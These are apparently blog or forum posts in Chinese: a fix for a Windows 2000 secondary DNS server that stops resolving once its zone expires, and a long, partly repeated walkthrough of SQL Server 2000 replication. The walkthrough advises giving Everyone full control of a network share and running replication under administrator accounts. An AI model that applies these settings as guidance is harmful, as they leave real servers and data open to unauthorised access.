Feb
13
引用
今天设置了两台DNS服务器,在两个不同的电信的机房,用于解析自己的域名
一台主,一台辅.辅DNS能够自动更新DNS记录
但是当我把主DNS停掉后 辅的也不能解析了
这是怎么回事呢?
这样的辅域名服务器有什么作用?
要实现我的想法,即在主DNS停掉后能够使用辅DNS还能解析,改怎么做?
2000Server,自带的DNS服务器
一台主,一台辅.辅DNS能够自动更新DNS记录
但是当我把主DNS停掉后 辅的也不能解析了
这是怎么回事呢?
这样的辅域名服务器有什么作用?
要实现我的想法,即在主DNS停掉后能够使用辅DNS还能解析,改怎么做?
2000Server,自带的DNS服务器
解决方法:
找到问题的答案了
===========================
10800 刷新间隔 定义从区域服务器隔验证其数据正确性的间隔
3600 重试间隔 从区域服务器无法在“刷新间隔”到期后与主区域服务器取得联系时,重试区域复制的间隔,通常该间隔应小于“刷新间隔”。
604800 过期时间 定义从区域服务器在该时间内一直不能与主服务器取得联系时,则放弃重试并丢这个区域的数据(因为这些数据有可能会失效或错误)。
呵呵 我的过期时间设置的太小了
查找了一下DNS服务器设置的常用参数含义:
序列号:序列号代表了此区域文件的修订号。当区域中任何资源记录被修改或者点击了增量按钮时,此序列号会自动增加。在配置了区域复制时,辅助DNS服务器会间歇的查询主服务器上DNS区域的序列号,如果主服务器上DNS区域的序列号大于自己的序列号,则辅助DNS服务器向主服务器发起区域复制。
主服务器:主服务器包含了此DNS区域的主DNS服务器的FQDN,此名字必须使用“.”结尾。
负责人:指定了管理此DNS区域的负责人的邮箱,你可以修改为在DNS区域中定义的其他RP(负责人)资源记录,此名字必须使用“.”结尾。
刷新间隔:此参数定义了辅助DNS服务器查询主服务器以进行区域更新前等待的时间。当刷新时间到期时,辅助DNS服务器从主服务器上获取主DNS区域的SOA记录,然后和本地辅助DNS区域的SOA记录相比较,如果值不相同则进行区域传输。默认情况下,刷新间隔为15分钟。
重试间隔:此参数定义了当区域复制失败时,辅助DNS服务器进行重试前需要等待的时间间隔,默认情况下为10分钟。
过期时间:此参数定义了当辅助DNS服务器无法联系主服务器时,还可以使用此辅助DNS区域答复DNS客户端请求的时间,当到达此时间限制时,辅助DNS服务器会认为此辅助DNS区域不可信。默认情况下为1天。
最小(默认)TTL:此参数定义了应用到此DNS区域中所有资源记录的生存时间(TTL),默认情况下为1小时。此TTL只是和资源记录在非权威的DNS服务器上进行缓存时的生存时间,当TTL过期时,缓存此资源记录的DNS服务器将丢弃此记录的缓存。
注意:增大TTL可以减少网络中DNS解析请求的流量,但是可能会导致修改资源记录后DNS解析时延的问题。一般情况下无需对默认参数进行修改。
此记录的TTL:此参数用于设置此SOA记录的TTL值,这个参数将覆盖最小(默认)TTL中设置的
Feb
13
1.为什么要同步SQL Server 2000 数据库,它都用在什么场合
2.SQL Server 2000 数据库同步配置的原理
3.从0开始一步一步配置SQL Server 2000 数据库同步,非常细
4.已经非常熟练,可以看精品版SQL Server 2000 数据库同步配置
5.配置SQL Server 2000 数据库同步时的 常见问题
为什么要同步SQL Server 2000 数据库,它都用在什么场合
数据实时备份同步,数据库服务器出问题时我们也有其正常工作时的备份
数据实时备份同步,一台服务器负载不起时,可以用来做负载均衡
数据实时备份同步,数据库服务器可以无间断,无损失迁移
主服务器被攻击或当机时另一台服务同步机可以应急
。。。。。可以说好处非常多的。暂时写这么多
SQL Server 2000 数据库同步配置的原理
复制的概念
Microsoft? SQL Server? 2000 的复制是在数据库之间对数据和数据库对象进行复制
和分发并进行同步以确保其一致性的一组技术。
使用复制可以将数据分发到不同位置,通过局域网、使用拨号连接、通过 Internet 分
发给远程或移动用户。复制还能够使用户提高应用程序性能,根据数据的使用方式物理
分隔数据(例如,将联机事务处理 (OLTP) 和决策支持系统分开),或者跨越多个服务
器分布数据库处理。
---------------------------------------------------------------------------
SQL复制的基本元素包括
发布服务器、订阅服务器、分发服务器、发布、项目
发布服务器
发布服务器是提供数据以便复制到其它服务器的服务器。发布服务器可以具有一个或多个
发布,每个发布代表一组逻辑相关的数据。除了指定其中哪些数据需要复制之外,发布服
务器还检测事务复制期间发生更改的数据并维护有关此站点上所有发布的信息。
分发服务器
分发服务器是作为分发数据库宿主并存储历史数据和/或事务以及元数据的服务器。分发
服务器的角色根据执行的复制类型而不同。有关更多信息,请参见复制类型。
远程分发服务器是独立于发布服务器并配置为复制的分发服务器的服务器。本地分发服务
器是既配置为复制的发布服务器又配置为复制的分发服务器的服务器。
订阅服务器
订阅服务器是接收复制数据的服务器。订阅服务器订阅的是发布而不是发布中分离的项目;
并且订阅服务器只订阅其需要的发布,而不是发布服务器上所有可用的发布。根据复制的类
型和所选择的复制选项,订阅服务器还可以将数据更改传播回发布服务器或将数据重新发布
到其它订阅服务器。
发布
发布是一个数据库中的一个或多个项目的集合。这种多个项目的分组使得指定逻辑相关的一
组数据和数据库对象以一起复制变得更容易。
项目
项目是指定要复制的数据表、数据分区或数据库对象。项目可以是完整的表、某几列(使用垂
直筛选)、某几行(使用水平筛选)、存储过程或视图定义、存储过程的执行、视图、索引视图
或用户定义函数。
订阅
订阅是对数据或数据库对象的复本的请求。订阅定义将接收的发布和接收的时间、地点。订阅的
同步或数据分发可以由发布服务器(强制订阅)或订阅服务器(请求订阅)请求。发布可以支持
强制订阅和请求订阅的混合。
---------------------------------------------------------------------------
SQL复制的工作原理
SQL SERVER 主要采用出版物、订阅的方式来处理复制。源数据所在的服务器是出版服务
器,负责发表数据。出版服务器把要发表的数据的所有改变情况的拷贝复制到分发服务器
分发服务器包含有一个分发数据库,可接收数据的所有改变,并保存这些改变,再把这些
改变分发给订阅服务器
精品版SQL Server 2000 数据库同步配置
SQL SERVER复制技术类型,三种复制技术,分别是(详细的说明参考SQL联机帮助):
1、快照复制
2、事务复制
3、合并复制
下介绍实现复制的步骤。(以快照复制为例)
准备工作:
1.发布服务器,订阅服务器都创建一个同名的windows用户,并设置相同的密码,做为发布快照文件夹的有效访问用户
我的电脑
--控制面板
--管理工具
--计算机管理
--用户和组
--右键用户
--新建用户
--建立一个隶属于administrator组的登陆windows的用户
2.在发布服务器上,新建一个共享目录,做为发布的快照文件的存放目录,操作:
我的电脑--D:\ 新建一个目录,名为: PUB
--右键这个新建的目录
--属性--共享
--选择"共享该文件夹"
--通过"权限"按纽来设置具体的用户权限,保证第一步中创建的用户具有对该文件夹的所有权限
--确定
3.设置SQL代理(SQLSERVERAGENT)服务的启动用户(发布/订阅服务器均做此设置)
开始--程序--管理工具--服务
--右键SQLSERVERAGENT
--属性--登陆--选择"此账户"
--输入或者选择第一步中创建的windows登录用户名
--"密码"中输入该用户的密码
4.设置SQL Server身份验证模式,解决连接时的权限问题(发布/订阅服务器均做此设置)
企业管理器
--右键SQL实例--属性
--安全性--身份验证
--选择"SQL Server 和 Windows"
--确定
5.在发布服务器和订阅服务器上互相注册
企业管理器
--右键SQL Server组
--新建SQL Server注册...
--下一步--可用的服务器中,输入你要注册的远程服务器名 --添加
--下一步--连接使用,选择第二个"SQL Server身份验证"
--下一步--输入用户名和密码(一般是sa,密码最好设置一下非常复杂的)
--下一步--选择SQL Server组,也可以创建一个新组
--下一步--完成
6.对于只能用IP,不能用计算机名的,为其注册服务器别名
(在连接端配置,比如,在订阅服务器上配置的话,服务器名称中输入的是发布服务器的IP)
开始--程序--Microsoft SQL Server--客户端网络实用工具
--别名--添加
--网络库选择"tcp/ip"--服务器别名输入SQL服务器名
--连接参数--服务器名称中输入SQL服务器ip地址
--如果你修改了SQL的端口,取消选择"动态决定端口",并输入对应的端口号
==============================================================================
正式开始:
1.配置发布服务器
a. 选中指定 [服务器] 节点
b. 从 [工具] 下拉菜单的 [复制] 子菜单中选择 [发布、订阅服务器和分发] 命令
c. 系统弹出一个对话框点 [下一步] 然后看着提示操作
--直到"指定快照文件夹"
--在"快照文件夹"中输入准备工作中创建的目录: \\\pub
一[下一步] 直操作到完成。
d. 当完成了出版服务器的设置以后系统会为该服务器的树形结构中添加一个复制监视器
同时也生成一个分发数据库(distribution)
---------------------------------------------------------------------------
2.创建发布
a. 选中指定的服务器
b. 从 [工具] 菜单的 [复制] 子菜单中选择 [创建和管理发布] 命令。此时系统会弹出
一个对话框
c. 选择要创建发布的数据库,然后单击 [创建发布]
d. 在 [创建发布向导] 的提示对话框中单击 [下一步] 系统就会弹出一个对话框。对话
框上的内容是复制的三个类型。我们现在选第一个也就是默认的快照发布(其他两个
大家可以去看看帮助)
e. 单击 [下一步] 系统要求指定可以订阅该发布的数据库服务器类型,SQLSERVER允许在
不同的数据库如 orACLE或ACCESS之间进行数据复制。但是在这里我们选择运行
"SQL SERVER 2000"的数据库服务器
f. 单击 [下一步] ,选择要发布的对象(如表,视图,存储过程,一般是表)
g. 然后 [下一步] 直到操作完成。当完成出版物的创建后创建出版物的数据库也就变成了
一个共享数据库。
---------------------------------------------------------------------------
3.设计订阅
a. 选中指定的订阅服务器
b. 从 [工具] 下拉菜单中选择 [复制] 子菜单的 [请求订阅]
c. 按照提示单击 [下一步] 操作直到系统会提示检查SQL SERVER代理服务的运行状态,执行
复制操作的前提条件是SQL SERVER代理服务必须已经启动。(选择一发布服务器,然后选择你要的一个发布,一次只能添加一下,然后新建一个同名的数据库,一路下一步就可以了,其它数据库也这样来。操作过程中可能会出现说服务器不支持匿名什么来着,需要在发布服务器上右击一个发布,订阅选项,允许匿名请求订阅选中就可以了。)
d. 单击 [完成] 完成订阅操作。
----------------------------------------------------------------------------
完成上面的步骤其实复制也就是成功了。但是如何来知道复制是否成功了呢?
这里可以通过这种方法来快速看是否成功。
展开出版服务器下面的复制——发布内容——右键发布内容——属性——击活——状态然后点立即运行代理程序接着点代理程序属性击活调度
把调度设置为每一天发生,每一分钟,在0:00:00和23:59:59之间。
接下来就是判断复制是否成功了打
开C:\Program Files\Microsoft SQL Server\MSSQL\REPLDATA\unc\XIAOWANGZI_database_database下面
看是不是有一些以时间做为文件名的文件夹差不多一分中就产生一个。
要是你还不信的话就打开你的数据库看在订阅的服务器的指定订阅数据库下看是不是看到了你刚才所发布的表
从0开始一步一步配置SQL Server 2000 数据库同步,非常细
首先,一般情况下数据库安装好后,在企业管理器里看到的sql注册是(local)(Windows NT),
SQL Server 复制不支持昵称,例如使用“.”或“(local)”作为服务器名。
删除该服务器的 SQL Server 注册并使用实际的服务器名对它进行注册。
我把先把这个删除,右击他,选择删除sql server 注册 。。然后新建注册,右击Sql server组,新建Sql server 注册 下一步--》可用的服务器里有你的计算机名,点中间的添加,添加到“添加的服务器里”--下一步--》下一步--》下一步--》完成
单击刚刚以计算机名建好的sql server 注册,以选中它--》工具--》复制--》配置发布、订阅服务器和分发。。。--》下一步--》下一步--》出现“SEOGIRL”上的 SQL Server 代理当前在使用系统帐户,它会导致服务器之间的复制失败。在下列对话框中,为服务启动帐户另外指定一个帐户。--》确定,选择“本帐户”(这时进入系统新建一个帐户比如SQL120),用户名输入"SEOGIRL\SQL120",输入密码,确定,出现:所做的一个或多个更改只有在 SQL Server 代理重新启动后才会生效。现在要停止并重新启动 SQL Server 代理吗?,确定,确定,--》下一步--》下一步--》快照文件夹路径“\\SEOGIRL\D$\Program Files\Microsoft SQL Server\MSSQL\ReplData”使用特殊的共享名称,该名称通常只能由在计算机“SEOGIRL”上有管理权限的登录访问。此共享可能不能由在其它计算机上运行的代理程序访问,例如请求订阅的代理程序。
确实要使用此快照文件夹路径吗?
--》否,因为这个路径是没办法请求订阅的代理程序,咱们建一个文件夹D:\ReplData,在这个文件夹的属性里设置“共享此文件夹”,点击“权限”设置everyone为完全。--》确定后退出--》返回咱们刚才的“快照文件夹”,在里边 输入“\\SEOGIRL\ReplData”--》下一步--》下一步--》完成--》关闭
打开企业管理器--》选中发布服务器--》工具--》复制--》配置发布、订阅服务器和分发。。。--》下一步--》下一步--》下一步--》否,选择一个快照文件夹位置,\\seogirl\ReplData--》下一步--》--》--》--》--》--》--》--》
“SEOGIRL”上的 SQL Server 代理当前在使用系统帐户,它会导致服务器之间的复制失败。在下列对话框中,为服务启动帐户另外指定一个帐户。
“SEOGIRL”上的 SQL Server 代理使用系统帐户,所以服务器之间的 SQL Server 复制将会失败。若要在服务器之间使用复制,请选择另一个服务器器作为“SEOGIRL”的分发服务器。
“SQL120”不是有效的 Windows NT 名称。请给出完整名称: 。
输入"administrator"时提示以下错误:
错误 15407: 'administrator' 不是有效的 Windows NT 名称。请给出完整名称: 。
系统出现两个选择 一个是 是,将SQL server代理服务配置为自动启动
另一个是 否,我将手工启动 SQL server 代理服务器
然后选那个呢?
我两个都试过了 然后出现快照文件夹
\\XXLJD\F$\Program Files\Microsoft SQL Server\MSSQL\ReplData
系统提示 不是有效的文件名或路径
接下去就弄不了 哪位大哥帮帮忙啊
1。 一个是 是,将SQL server代理服务配置为自动启动
另一个是 否,我将手工启动 SQL server 代理服务器
说明:这个选择是或者否都可以。是:则系统自己启动代理服务器
否:你自己手工的启动代理服务器
这就是区别。
2。
\\XXLJD\F$\Program Files\Microsoft SQL Server\MSSQL\ReplData
系统提示 不是有效的文件名或路径
这样修改:1。创建一个文件夹在ntfs分区上,如:D:\ReplData
2.共享这个文件夹 --右击文件夹-属性-共享
3。同时在相同的界面-有权限-设置为everyone-完全控制的权限
这样就可以了。
4.路径里输入\\计算机名\ReplData
配置SQL Server 2000 数据库同步时的常见问题
问题:SQL Server 复制不支持昵称,例如使用“.”或“(local)”作为服务器名。
回答:删除该服务器的 SQL Server 注册并使用计算机名进行注册。
问题:“SEOGIRL”上的 SQL Server 代理当前在使用系统帐户,它会导致服务器之间的复制失败。在下列对话框中,为服务启动帐户另外指定一个帐户。
回答:应该先建一个有管理员组权限的帐户,然后用在这。
问题:快照文件夹路径“\\SEOGIRL\D$\Program Files\Microsoft SQL Server\MSSQL\ReplData”使用特殊的共享名称,该名称通常只能由在计算机“SEOGIRL”上有管理权限的登录访问。此共享可能不能由在其它计算机上运行的代理程序访问,例如请求订阅的代理程序。确实要使用此快照文件夹路径吗?
回答:在D盘或你别的盘建一个文件夹如:D:\pub,设为共享,并把上面那个新建 的用户加到这里面设为完全控制,快照路径里写\\计算机名\pub
问题:“SQL120”不是有效的 Windows NT 名称。请给出完整名称: 。
解决:使用:计算机名\用户名。
另一种配置方法
******************************************************************************
我是如何设置的:
1。准备工作
设置一个公用目录并保证2台服务器有权限。
2。右键发布服务器——属性——复制——配置——创建分发服务器,并设定发布服务器和发布数据库,
然后给予订阅服务器权限。
3。依次展开:发布服务器——将要发布的数据库——右键发布内容——新建发布。
4。右键刚刚建立的发布——属性——状态——立即运行代理程序——代理程序属性中设置调度并启动。
4。右键刚刚建立的发布——属性——订阅——强制新建。
有时候会看不到新建立的项目,重新进就可以了。
--------------------------------------------------------------------------------
经过测试,可以顺利实现数据库结构的初始化和数据的单向同步(也就是订阅服务器的数据可以及时更新为发布服务器的数据)。
准备工作:
>>数据的同步中主要考虑的三部分,可以理解成三台主机。发布服务器,分发服务器和订阅服务器;可以从字面的意思理解,要实现的功能实际就是让订阅服务器通过分发服务器保持数据及时地和发布服务器上的数据一致。整个执行过程是这样一来的:
a.订阅服务器应该有个初始化,一般来说我们开始做这个同步任务的时候,发布服务器已经有了相当的数据量了,而我们的订阅服务器应该是新建的服务。即使发布中没有数据,也需要把他的数据库结构初始化到订阅服务器上。
b. 我采用的是事物复制,发布服务器的数据发生变化后,相当于触发了一个更新操作,而事物复制可以在设定的时间把数据更新的操作更新到订阅服务器中去。当然, 这个操作需要经过分发服务器。在我的测试中,我是把发布服务器和分发服务器设置为同一台主机,可以顺利实现数据在数分钟内同步。
> >在操作的起始,需要考虑订阅服务器是否有和发布服务器相同结构的数据库,如果有,需要做的就是使用代理把发布服务器现有的数据初始化过去;如果没 有对应的相同结构的数据库,就需要要把发布服务器当前的数据库结构和当前的数据都初始化到订阅服务器中。当然这里所说的操作都是在下面的实施步骤中实现, 不需要单独处理。
>>如果说对Windows系统有所要求的话,就应该保证这三个服务器(发布,分发,订阅)在同个域中,以同一个域管理员帐号身份运行,操作如下:
a.进入相应的服务器,控制面板->服务->SQLSERVERAGENT,设置登录,三台服务器同样设置。
b.操作前,也不允许这三台服务器对应的别名使用呢称,比如"LOCAL",这样的别名要删除重建,可以采用主机名,比如:server02.
下面开始执行数据库同步的操作:
>>配置发布服务器和分发服务器:
a.选中对应服务器的注册名->工具->复制->配置发布、订阅和分发,直接按照默认设置向下执行,直到完成。关闭。
b. 再一次选中这个服务器服务器的注册名->工具->复制->配置发布、订阅和分发,可以看到这次界面和步骤a中的界面有所不同,我们只需 要配置一下 发布服务器,发布数据库,订阅服务器。(我的发布数据库采用的是事物性的)。点“确定”完成操作。
> >创建发布,可以选中相应的注册,用工具->复制->创建和管理发布或者在该注册下面的 复制->发布内容 选中后,在右边空白处,右键,新建发布,来创建你的发布。我选择的是事物发布,按照默认设置,选择你要发布的表或其他对象,其他地方不需要修改,直到完成 操作。
>>修改发布属性:选择“状态”->立即运行代理程序;代理程序属性->设置你的调度,比如一分钟一次。(调度->编辑->更改;通知->写入windows应用程序事件日志),"确定"完成操作。
>>创建订阅:选择发布服务器对应的注册,复制->发布内容->在这个内容上右键,强制新订阅,->"下一步",选择订阅服务器(在标记P那一步选择的订阅服务器)->“下一步”->选择你有的数据库,或者新建一个数据库
->"下一步"-> 修改你需要的调度->按照默认设置,直到完成。
到 这里就可以完成了,修改发布服务器数据库中的内容,等一两分钟,数据就同步到订阅服务器中了。不过由于第一次执行需要快照,如果发布库中有一定的内容,第 一次执行可能需要几分钟时间。如果数据不能同步过去,大家是调度设置时间太短(比如1分钟)使快照不能完成,所以后面的步骤无法执行,遇到这样的情况的 话,
选中你发布的内容,设置属性,在“状态”中“立即运行代理程序”,这样的话,数据会马上同步过去的。
--------------------------------------------------------------------------------
http://www.itpub.net/showthread.php?threadid=558706
--------------------------------------------------------------------------------
2.SQL Server 2000 数据库同步配置的原理
3.从0开始一步一步配置SQL Server 2000 数据库同步,非常细
4.已经非常熟练,可以看精品版SQL Server 2000 数据库同步配置
5.配置SQL Server 2000 数据库同步时的 常见问题
为什么要同步SQL Server 2000 数据库,它都用在什么场合
数据实时备份同步,数据库服务器出问题时我们也有其正常工作时的备份
数据实时备份同步,一台服务器负载不起时,可以用来做负载均衡
数据实时备份同步,数据库服务器可以无间断,无损失迁移
主服务器被攻击或当机时另一台服务同步机可以应急
。。。。。可以说好处非常多的。暂时写这么多
SQL Server 2000 数据库同步配置的原理
复制的概念
Microsoft? SQL Server? 2000 的复制是在数据库之间对数据和数据库对象进行复制
和分发并进行同步以确保其一致性的一组技术。
使用复制可以将数据分发到不同位置,通过局域网、使用拨号连接、通过 Internet 分
发给远程或移动用户。复制还能够使用户提高应用程序性能,根据数据的使用方式物理
分隔数据(例如,将联机事务处理 (OLTP) 和决策支持系统分开),或者跨越多个服务
器分布数据库处理。
---------------------------------------------------------------------------
SQL复制的基本元素包括
发布服务器、订阅服务器、分发服务器、发布、项目
发布服务器
发布服务器是提供数据以便复制到其它服务器的服务器。发布服务器可以具有一个或多个
发布,每个发布代表一组逻辑相关的数据。除了指定其中哪些数据需要复制之外,发布服
务器还检测事务复制期间发生更改的数据并维护有关此站点上所有发布的信息。
分发服务器
分发服务器是作为分发数据库宿主并存储历史数据和/或事务以及元数据的服务器。分发
服务器的角色根据执行的复制类型而不同。有关更多信息,请参见复制类型。
远程分发服务器是独立于发布服务器并配置为复制的分发服务器的服务器。本地分发服务
器是既配置为复制的发布服务器又配置为复制的分发服务器的服务器。
订阅服务器
订阅服务器是接收复制数据的服务器。订阅服务器订阅的是发布而不是发布中分离的项目;
并且订阅服务器只订阅其需要的发布,而不是发布服务器上所有可用的发布。根据复制的类
型和所选择的复制选项,订阅服务器还可以将数据更改传播回发布服务器或将数据重新发布
到其它订阅服务器。
发布
发布是一个数据库中的一个或多个项目的集合。这种多个项目的分组使得指定逻辑相关的一
组数据和数据库对象以一起复制变得更容易。
项目
项目是指定要复制的数据表、数据分区或数据库对象。项目可以是完整的表、某几列(使用垂
直筛选)、某几行(使用水平筛选)、存储过程或视图定义、存储过程的执行、视图、索引视图
或用户定义函数。
订阅
订阅是对数据或数据库对象的复本的请求。订阅定义将接收的发布和接收的时间、地点。订阅的
同步或数据分发可以由发布服务器(强制订阅)或订阅服务器(请求订阅)请求。发布可以支持
强制订阅和请求订阅的混合。
---------------------------------------------------------------------------
SQL复制的工作原理
SQL SERVER 主要采用出版物、订阅的方式来处理复制。源数据所在的服务器是出版服务
器,负责发表数据。出版服务器把要发表的数据的所有改变情况的拷贝复制到分发服务器
分发服务器包含有一个分发数据库,可接收数据的所有改变,并保存这些改变,再把这些
改变分发给订阅服务器
精品版SQL Server 2000 数据库同步配置
SQL SERVER复制技术类型,三种复制技术,分别是(详细的说明参考SQL联机帮助):
1、快照复制
2、事务复制
3、合并复制
下介绍实现复制的步骤。(以快照复制为例)
准备工作:
1.发布服务器,订阅服务器都创建一个同名的windows用户,并设置相同的密码,做为发布快照文件夹的有效访问用户
我的电脑
--控制面板
--管理工具
--计算机管理
--用户和组
--右键用户
--新建用户
--建立一个隶属于administrator组的登陆windows的用户
2.在发布服务器上,新建一个共享目录,做为发布的快照文件的存放目录,操作:
我的电脑--D:\ 新建一个目录,名为: PUB
--右键这个新建的目录
--属性--共享
--选择"共享该文件夹"
--通过"权限"按纽来设置具体的用户权限,保证第一步中创建的用户具有对该文件夹的所有权限
--确定
3.设置SQL代理(SQLSERVERAGENT)服务的启动用户(发布/订阅服务器均做此设置)
开始--程序--管理工具--服务
--右键SQLSERVERAGENT
--属性--登陆--选择"此账户"
--输入或者选择第一步中创建的windows登录用户名
--"密码"中输入该用户的密码
4.设置SQL Server身份验证模式,解决连接时的权限问题(发布/订阅服务器均做此设置)
企业管理器
--右键SQL实例--属性
--安全性--身份验证
--选择"SQL Server 和 Windows"
--确定
5.在发布服务器和订阅服务器上互相注册
企业管理器
--右键SQL Server组
--新建SQL Server注册...
--下一步--可用的服务器中,输入你要注册的远程服务器名 --添加
--下一步--连接使用,选择第二个"SQL Server身份验证"
--下一步--输入用户名和密码(一般是sa,密码最好设置一下非常复杂的)
--下一步--选择SQL Server组,也可以创建一个新组
--下一步--完成
6.对于只能用IP,不能用计算机名的,为其注册服务器别名
(在连接端配置,比如,在订阅服务器上配置的话,服务器名称中输入的是发布服务器的IP)
开始--程序--Microsoft SQL Server--客户端网络实用工具
--别名--添加
--网络库选择"tcp/ip"--服务器别名输入SQL服务器名
--连接参数--服务器名称中输入SQL服务器ip地址
--如果你修改了SQL的端口,取消选择"动态决定端口",并输入对应的端口号
==============================================================================
正式开始:
1.配置发布服务器
a. 选中指定 [服务器] 节点
b. 从 [工具] 下拉菜单的 [复制] 子菜单中选择 [发布、订阅服务器和分发] 命令
c. 系统弹出一个对话框点 [下一步] 然后看着提示操作
--直到"指定快照文件夹"
--在"快照文件夹"中输入准备工作中创建的目录: \\\pub
一[下一步] 直操作到完成。
d. 当完成了出版服务器的设置以后系统会为该服务器的树形结构中添加一个复制监视器
同时也生成一个分发数据库(distribution)
---------------------------------------------------------------------------
2.创建发布
a. 选中指定的服务器
b. 从 [工具] 菜单的 [复制] 子菜单中选择 [创建和管理发布] 命令。此时系统会弹出
一个对话框
c. 选择要创建发布的数据库,然后单击 [创建发布]
d. 在 [创建发布向导] 的提示对话框中单击 [下一步] 系统就会弹出一个对话框。对话
框上的内容是复制的三个类型。我们现在选第一个也就是默认的快照发布(其他两个
大家可以去看看帮助)
e. 单击 [下一步] 系统要求指定可以订阅该发布的数据库服务器类型,SQLSERVER允许在
不同的数据库如 orACLE或ACCESS之间进行数据复制。但是在这里我们选择运行
"SQL SERVER 2000"的数据库服务器
f. 单击 [下一步] ,选择要发布的对象(如表,视图,存储过程,一般是表)
g. 然后 [下一步] 直到操作完成。当完成出版物的创建后创建出版物的数据库也就变成了
一个共享数据库。
---------------------------------------------------------------------------
3.设计订阅
a. 选中指定的订阅服务器
b. 从 [工具] 下拉菜单中选择 [复制] 子菜单的 [请求订阅]
c. 按照提示单击 [下一步] 操作直到系统会提示检查SQL SERVER代理服务的运行状态,执行
复制操作的前提条件是SQL SERVER代理服务必须已经启动。(选择一发布服务器,然后选择你要的一个发布,一次只能添加一下,然后新建一个同名的数据库,一路下一步就可以了,其它数据库也这样来。操作过程中可能会出现说服务器不支持匿名什么来着,需要在发布服务器上右击一个发布,订阅选项,允许匿名请求订阅选中就可以了。)
d. 单击 [完成] 完成订阅操作。
----------------------------------------------------------------------------
完成上面的步骤其实复制也就是成功了。但是如何来知道复制是否成功了呢?
这里可以通过这种方法来快速看是否成功。
展开出版服务器下面的复制——发布内容——右键发布内容——属性——击活——状态然后点立即运行代理程序接着点代理程序属性击活调度
把调度设置为每一天发生,每一分钟,在0:00:00和23:59:59之间。
接下来就是判断复制是否成功了打
开C:\Program Files\Microsoft SQL Server\MSSQL\REPLDATA\unc\XIAOWANGZI_database_database下面
看是不是有一些以时间做为文件名的文件夹差不多一分中就产生一个。
要是你还不信的话就打开你的数据库看在订阅的服务器的指定订阅数据库下看是不是看到了你刚才所发布的表
从0开始一步一步配置SQL Server 2000 数据库同步,非常细
首先,一般情况下数据库安装好后,在企业管理器里看到的sql注册是(local)(Windows NT),
SQL Server 复制不支持昵称,例如使用“.”或“(local)”作为服务器名。
删除该服务器的 SQL Server 注册并使用实际的服务器名对它进行注册。
我把先把这个删除,右击他,选择删除sql server 注册 。。然后新建注册,右击Sql server组,新建Sql server 注册 下一步--》可用的服务器里有你的计算机名,点中间的添加,添加到“添加的服务器里”--下一步--》下一步--》下一步--》完成
单击刚刚以计算机名建好的sql server 注册,以选中它--》工具--》复制--》配置发布、订阅服务器和分发。。。--》下一步--》下一步--》出现“SEOGIRL”上的 SQL Server 代理当前在使用系统帐户,它会导致服务器之间的复制失败。在下列对话框中,为服务启动帐户另外指定一个帐户。--》确定,选择“本帐户”(这时进入系统新建一个帐户比如SQL120),用户名输入"SEOGIRL\SQL120",输入密码,确定,出现:所做的一个或多个更改只有在 SQL Server 代理重新启动后才会生效。现在要停止并重新启动 SQL Server 代理吗?,确定,确定,--》下一步--》下一步--》快照文件夹路径“\\SEOGIRL\D$\Program Files\Microsoft SQL Server\MSSQL\ReplData”使用特殊的共享名称,该名称通常只能由在计算机“SEOGIRL”上有管理权限的登录访问。此共享可能不能由在其它计算机上运行的代理程序访问,例如请求订阅的代理程序。
确实要使用此快照文件夹路径吗?
--》否,因为这个路径是没办法请求订阅的代理程序,咱们建一个文件夹D:\ReplData,在这个文件夹的属性里设置“共享此文件夹”,点击“权限”设置everyone为完全。--》确定后退出--》返回咱们刚才的“快照文件夹”,在里边 输入“\\SEOGIRL\ReplData”--》下一步--》下一步--》完成--》关闭
打开企业管理器--》选中发布服务器--》工具--》复制--》配置发布、订阅服务器和分发。。。--》下一步--》下一步--》下一步--》否,选择一个快照文件夹位置,\\seogirl\ReplData--》下一步--》--》--》--》--》--》--》--》
“SEOGIRL”上的 SQL Server 代理当前在使用系统帐户,它会导致服务器之间的复制失败。在下列对话框中,为服务启动帐户另外指定一个帐户。
“SEOGIRL”上的 SQL Server 代理使用系统帐户,所以服务器之间的 SQL Server 复制将会失败。若要在服务器之间使用复制,请选择另一个服务器器作为“SEOGIRL”的分发服务器。
“SQL120”不是有效的 Windows NT 名称。请给出完整名称: 。
输入"administrator"时提示以下错误:
错误 15407: 'administrator' 不是有效的 Windows NT 名称。请给出完整名称: 。
系统出现两个选择 一个是 是,将SQL server代理服务配置为自动启动
另一个是 否,我将手工启动 SQL server 代理服务器
然后选那个呢?
我两个都试过了 然后出现快照文件夹
\\XXLJD\F$\Program Files\Microsoft SQL Server\MSSQL\ReplData
系统提示 不是有效的文件名或路径
接下去就弄不了 哪位大哥帮帮忙啊
1。 一个是 是,将SQL server代理服务配置为自动启动
另一个是 否,我将手工启动 SQL server 代理服务器
说明:这个选择是或者否都可以。是:则系统自己启动代理服务器
否:你自己手工的启动代理服务器
这就是区别。
2。
\\XXLJD\F$\Program Files\Microsoft SQL Server\MSSQL\ReplData
系统提示 不是有效的文件名或路径
这样修改:1。创建一个文件夹在ntfs分区上,如:D:\ReplData
2.共享这个文件夹 --右击文件夹-属性-共享
3。同时在相同的界面-有权限-设置为everyone-完全控制的权限
这样就可以了。
4.路径里输入\\计算机名\ReplData
配置SQL Server 2000 数据库同步时的常见问题
问题:SQL Server 复制不支持昵称,例如使用“.”或“(local)”作为服务器名。
回答:删除该服务器的 SQL Server 注册并使用计算机名进行注册。
问题:“SEOGIRL”上的 SQL Server 代理当前在使用系统帐户,它会导致服务器之间的复制失败。在下列对话框中,为服务启动帐户另外指定一个帐户。
回答:应该先建一个有管理员组权限的帐户,然后用在这。
问题:快照文件夹路径“\\SEOGIRL\D$\Program Files\Microsoft SQL Server\MSSQL\ReplData”使用特殊的共享名称,该名称通常只能由在计算机“SEOGIRL”上有管理权限的登录访问。此共享可能不能由在其它计算机上运行的代理程序访问,例如请求订阅的代理程序。确实要使用此快照文件夹路径吗?
回答:在D盘或你别的盘建一个文件夹如:D:\pub,设为共享,并把上面那个新建 的用户加到这里面设为完全控制,快照路径里写\\计算机名\pub
问题:“SQL120”不是有效的 Windows NT 名称。请给出完整名称: 。
解决:使用:计算机名\用户名。
另一种配置方法
******************************************************************************
我是如何设置的:
1。准备工作
设置一个公用目录并保证2台服务器有权限。
2。右键发布服务器——属性——复制——配置——创建分发服务器,并设定发布服务器和发布数据库,
然后给予订阅服务器权限。
3。依次展开:发布服务器——将要发布的数据库——右键发布内容——新建发布。
4。右键刚刚建立的发布——属性——状态——立即运行代理程序——代理程序属性中设置调度并启动。
4。右键刚刚建立的发布——属性——订阅——强制新建。
有时候会看不到新建立的项目,重新进就可以了。
--------------------------------------------------------------------------------
